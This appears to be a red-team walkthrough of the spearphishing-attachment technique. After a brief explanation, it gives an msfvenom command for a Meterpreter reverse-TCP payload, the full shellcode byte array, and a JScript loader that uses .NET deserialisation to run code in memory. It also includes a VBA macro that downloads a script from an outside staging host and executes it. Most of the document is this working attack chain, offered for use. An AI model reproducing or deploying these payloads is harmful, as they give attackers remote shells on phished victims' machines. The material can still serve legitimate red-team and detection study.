Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems.

Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.

In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

Build Payload

msfvenom -p windows/meterpreter/reverse_tcp_allports LHOST="s" LPORT=4444 -f csharp -o win-m-aport-44.cs
# base64 the below
byte[] buf = new byte[354] {
0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,
0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,
0x85,0xc0,0x74,0x4c,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,
0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac,
0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,
0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,
0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,
0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,
0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,
0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x01,0x33,0x68,0x02,
0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,0x00,0x00,
0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,
0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,
0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x68,0x00,
0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,
0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,
0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,
0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };

run.js

function setversion() {
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
}
function debug(s) {}
function base64ToStream(b) {
	var enc = new ActiveXObject("System.Text.ASCIIEncoding");
	var length = enc.GetByteCount_2(b);
	var ba = enc.GetBytes_4(b);
	var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
	ba = transform.TransformFinalBlock(ba, 0, length);
	var ms = new ActiveXObject("System.IO.MemoryStream");
	ms.Write(ba, 0, (length / 4) * 3);
	ms.Position = 0;
	return ms;
}

var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
"..."+
"dGlvbi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA";
var entry_class = 'TestClass';

try {
	setversion();
	var stm = base64ToStream(serialized_obj);
	var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
	var al = new ActiveXObject('System.Collections.ArrayList');
	var d = fmt.Deserialize_2(stm);
	al.Add(undefined);
	var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
	
} catch (e) {
    debug(e.message);
}

#VBS Macro

Sub DownloadAndRunJavaScript()
    Dim url As String
    Dim savePath As String
    Dim xhr As Object

    ' URL of the JavaScript file
    url = "<https://stage.attck.community/run.js>"

    ' Local path to save the downloaded file
    savePath = "C:\Users\Public\run.js"

    ' Create an XMLHTTP object to download the file
    Set xhr = CreateObject("MSXML2.XMLHTTP")
    xhr.Open "GET", url, False
    xhr.Send

    ' Save the file locally
    If xhr.Status = 200 Then
        Dim stream As Object
        Set stream = CreateObject("ADODB.Stream")
        stream.Open
        stream.Type = 1 ' Binary
        stream.Write xhr.ResponseBody
        stream.SaveToFile savePath, 2 ' 2 = Overwrite
        stream.Close
    End If

    ' Run the downloaded JavaScript file
    Dim shell As Object
    Set shell = CreateObject("WScript.Shell")
    shell.Run "wscript " & savePath
End Sub